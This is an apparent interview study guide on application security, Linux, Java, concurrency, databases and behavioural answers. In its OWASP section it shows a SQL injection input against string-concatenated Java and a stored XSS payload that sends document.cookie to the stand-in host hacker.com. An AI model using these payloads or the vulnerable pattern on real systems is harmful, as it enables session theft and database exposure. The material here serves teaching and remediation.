**1. The CIA Triad**

The fundamental model for information security.

- **Confidentiality:** Preventing unauthorized access.
    - *Theory:* Only people with the right permission should see the data.
    - *Example:* Encrypting a database password column so even a database administrator (DBA) cannot read user passwords.
- **Integrity:** Preventing unauthorized modification.
    - *Theory:* The data must remain accurate and trustworthy. It shouldn't change during transit or storage unless authorized.
    - *Example:* Using a **Checksum** (MD5/SHA) when downloading a file. If the downloaded file's hash doesn't match the source, the file was corrupted or tampered with.
- **Availability:** Ensuring access when needed.
    - *Theory:* The system must be up and running for legitimate users.
    - *Example:* Using a Load Balancer to distribute traffic so that if one server crashes, the others keep the application running.

**2. Defense in Depth**

- **Theory:** Never rely on a single security control. Layer them so that if one fails, another catches the attack.
- **Example:**
    1. **Layer 1 (Network):** Firewall blocks all ports except 443 (HTTPS).
    2. **Layer 2 (App):** Spring Security requires a valid JWT.
    3. **Layer 3 (Code):** Input validation checks if the user_id is a number, not a script.
    4. **Layer 4 (Data):** The database user only has SELECT permission, so they can't delete tables even if they bypass the other layers.

**3. Threat vs. Vulnerability vs. Risk**

- **Theory:**
    - **Threat:** The potential cause of an incident (e.g., a hacker, a flood, a dishonest employee).

    - **Vulnerability:** A weakness in the system (e.g., unpatched software, weak password).
    - **Risk:** The likelihood of a Threat exploiting a Vulnerability.
    - **Formula:** Risk = Threat × Vulnerability × Impact
- **Example:**
    - *Scenario:* You leave your front door unlocked.
    - *Vulnerability:* The unlocked door.
    - *Threat:* A burglar.
    - *Risk:* High probability of theft.
    - *Mitigation:* Lock the door (removes vulnerability) OR buy insurance (reduces impact).

---

🛑 **PART 2: OWASP Top 10 (The Developer's Bible)**

**A. Injection (SQL / NoSQL)**

- **Theory:** Occurs when untrusted data is sent to an interpreter as part of a command or query.
- **Vulnerable Code (Java):**

Java

// BAD: String concatenation allows injection

String query = "SELECT * FROM users WHERE name = '" + userName + "'";

    - *Attack:* If userName is ' OR '1'='1, the query becomes SELECT * FROM users WHERE name = '' OR '1'='1'. This returns ALL users.

- **Secure Code (Remediation):**

Java

// GOOD: Prepared Statement

String query = "SELECT * FROM users WHERE name = ?";

PreparedStatement pstmt = connection.prepareStatement(query);

pstmt.setString(1, userName);

**B. Broken Authentication**

- **Theory:** Weaknesses in how the system confirms the user's identity.
- **Example: Session Fixation**. An attacker starts a session, gets a Session ID (JSESSIONID=123), and sends a link with that ID to a victim. If the victim logs in and the server *keeps* the ID 123, the attacker now owns the victim's logged-in session.
- **Fix:** Always generate a *new* Session ID immediately after a successful login.

**C. Security Misconfiguration**

- **Theory:** Security settings are defined but implemented poorly or not at all.
- **Example:** deploying a Spring Boot app to production with application.properties containing server.error.include-stacktrace=always.
    - *Why it's bad:* If an error occurs, the user sees the full Java stack trace, revealing library versions (e.g., "Jackson 2.9.0") which hackers can look up vulnerabilities for.

**D. Sensitive Data Exposure**

- **Theory:** Failure to encrypt data at rest (storage) or in transit (network).
- **Example:** A user resets their password. The system emails them: *"Your new password is: P@ssword123"*.
    - *Why it's bad:* Email is insecure plain text. Anyone intercepting the network traffic can read the password.
    - *Fix:* Send a "Reset Link" with a temporary, one-time token instead.

**E. XSS (Cross-Site Scripting)**

- **Theory:** Injecting malicious client-side scripts into web pages viewed by other users.
- **Example (Stored XSS):** A hacker posts a comment: <script>fetch('http://hacker.com?cookie='+document.cookie)</script>.
- **Outcome:** When you view the comment section, your browser executes the script and silently sends your login cookie to the hacker.
- **Fix: Output Encoding**. Convert special characters into HTML entities. The comment becomes <script>... which the browser displays as text but does not execute.

---

## 🔑 PART 3: JWT & API Security

**JWT (JSON Web Token) Structure**

- **Theory:** A compact, URL-safe means of representing claims to be transferred between two parties.
- **Structure:** Header.Payload.Signature
    1. **Header:** Algorithm type (e.g., HS256).
    2. **Payload:** Data (User ID, Role, Expiry). **Visible to anyone!**
    3. **Signature:** A hash of the Header + Payload + Secret Key.
- **Security Critical:** NEVER put secrets (passwords) in the Payload.
- **Statelessness:** The server doesn't store the token. It just validates the signature.

**Refresh Tokens**

- **Problem:** If a JWT is valid for 1 year and gets stolen, the hacker has access for 1 year.
- **Solution:**
    - **Access Token:** Short life (15 mins). Used for API calls.
    - **Refresh Token:** Long life (7 days). Stored securely (HttpOnly Cookie). Used ONLY to get a new Access Token.
- **Revocation:** If a user is banned, you can't kill their Access Token immediately (it's stateless). But you CAN delete their Refresh Token from your DB, so they lock out in <15 mins.

---

🛡️ **PART 4: Nessus & Vulnerability Management**

**Vulnerability Lifecycle**

1. **Detect:** Nessus scan finds "CVE-2021-44228 (Log4j)".
2. **Validate:** Is this actually running? (If you have the jar but don't use it, it's lower risk).
3. **Prioritize:**
    - *Critical:* Internet-facing, RCE (Remote Code Execution) possible.
    - *Low:* Internal tool, requires physical access.
4. **Remediate:** Upgrade the library to version 2.17.0.
5. **Verify:** Re-scan to ensure the finding is gone.

**Mitigation vs. Remediation**

- **Remediation:** Fixing the root cause (Patching the software). The bug is gone.
- **Mitigation:** Reducing the impact without fixing the bug.
    - *Example:* A legacy app has a vulnerability on port 8080. You can't upgrade it because the vendor is out of business.
    - *Mitigation:* Configure a firewall to only allow access to port 8080 from one specific internal IP address. The bug exists, but it's harder to reach.

---

## 🐧 PART 5: Linux Fundamentals

**Process Management**

- **Theory:** Every program is a process with a PID (Process ID).
- **Commands:**
    - ps aux: "Process Status". Shows User, PID, CPU%, Memory%, and Command.
    - kill <PID>: Sends a signal to a process.
        - kill -15 (SIGTERM): "Please save and close." (Polite).
        - kill -9 (SIGKILL): "Die immediately." (Forceful - data loss possible).

**File Permissions**

- **Theory:** Linux uses Read (4), Write (2), Execute (1) permissions for Owner, Group, Others.
- **Example:** chmod 755 script.sh
    - **Owner (7 = 4+2+1):** Can Read, Write, Run.
    - **Group (5 = 4+0+1):** Can Read, Run. (No Write).
    - **Others (5 = 4+0+1):** Can Read, Run. (No Write).
- **Security:** chmod 777 (Everyone can write) is a huge security hole.

---

## ☕ PART 6: Java Core & Systems

**Heap vs. Stack Memory**

- **Theory:**

    - **Stack:** Stores temporary variables and method calls. It is fast and thread-specific. When a method finishes, the stack frame is cleared.
    - **Heap:** Stores Objects (new User()). It is larger, slower, and shared by all threads. Garbage Collection (GC) manages this.
- **Security Angle:**
    - **Stack:** Passwords stored in String variables stay in the Heap (String pool) until GC runs.
    - **Best Practice:** Store passwords in char[] arrays. You can explicitly overwrite a char[] with zeros (0000) to wipe it from memory immediately. You cannot do this with Strings (they are immutable).

**Checked vs. Unchecked Exceptions**

- **Checked (Compile time):** You *must* handle them (e.g., IOException). Forces developers to think about failure.
- **Unchecked (Runtime):** Unexpected errors (e.g., NullPointerException).
- **Pattern:** Catch exceptions and throw a custom, sanitized exception to the API.
    - *Bad:* Returns java.sql.SQLException: Column 'password' not found.
    - *Good:* Returns 500 Internal Server Error: An unexpected database error occurred.

---

## 🔄 PART 7: Multithreading & Concurrency

**Race Conditions**

- **Theory:** Two threads access shared data concurrently, and the final result depends on who runs first.
- **Example:** Bank Account Balance = 100.
    - Thread A reads 100, adds 10 -> 110.
    - Thread B reads 100 (before A saves), subtracts 10 -> 90.
    - Thread A saves 110. Thread B saves 90.
    - **Result:** The $10 deposit is lost. The balance is 90.
- **Fix:** Use synchronized blocks or AtomicInteger to ensure only one thread acts at a time.

**Deadlocks**

- **Theory:** Two threads are stuck forever, each waiting for the other to release a lock.
- **Example:**
    - Thread 1 holds Key A, wants Key B.
    - Thread 2 holds Key B, wants Key A.
- **Fix:** Always acquire locks in the same order (e.g., Always A then B).

---

### ⚙️ PART 8: Automation, CI/CD & Security

**SAST vs SCA (The "Shift Left" Tools)**

- **SAST (Static Application Security Testing):**
    - *What:* Scans your *source code* (Java files).
    - *Finds:* Logic errors, SQL injection vulnerabilities, hardcoded passwords.
    - *Tool:* SonarQube, Checkmarx.
- **SCA (Software Composition Analysis):**
    - *What:* Scans your *dependencies* (pom.xml / build.gradle).
    - *Finds:* "You are using Log4j version 1.2, which has a known vulnerability."
    - *Tool:* OWASP Dependency Check, Snyk.

---

### 🗄️ PART 9: Databases & ACID

**ACID Properties**

- **Atomicity:** All or nothing. If a money transfer fails halfway, the money is returned.
- **Consistency:** The DB follows rules (e.g., "Age cannot be negative").
- **Isolation:** Transactions don't spy on each other. (Read Committed, Serializable).
- **Durability:** Once confirmed, data survives a power outage (Written to disk).

**Least Privilege (DB Security)**

- **Theory:** Application users should not be Super Users (root / sa).
- **Example:**

- **Bad:** App connects as root. Hacker injects SQL to DROP DATABASE.
- **Good:** App connects as app_user. app_user only has GRANT SELECT, INSERT ON orders.
- *Result:* Even if hacked, the attacker cannot delete the database structure.

---

### 🎤 PART 10: Behavioral (STAR Method)

**Structure: Situation, Task, Action, Result.**

**Scenario:** "Tell me about a time you handled a production incident."

- **Situation:** "Last year, our payment service latency spiked to 10 seconds during a sale."
- **Task:** "I needed to identify the bottleneck and restore service immediately."
- **Action:**
    1. I checked the AWS CloudWatch metrics and saw high DB CPU usage.
    2. I used grep on the logs to find the slow queries.
    3. I found a query scanning the whole table because it lacked an index.
    4. I couldn't add an index instantly (too risky), so I implemented a temporary 1-minute caching layer in Redis to reduce the load on the DB (Mitigation).
- **Result:** "Latency dropped to 200ms. The next day, we applied the proper index fix (Remediation). I then wrote a post-mortem to share the learning with the team."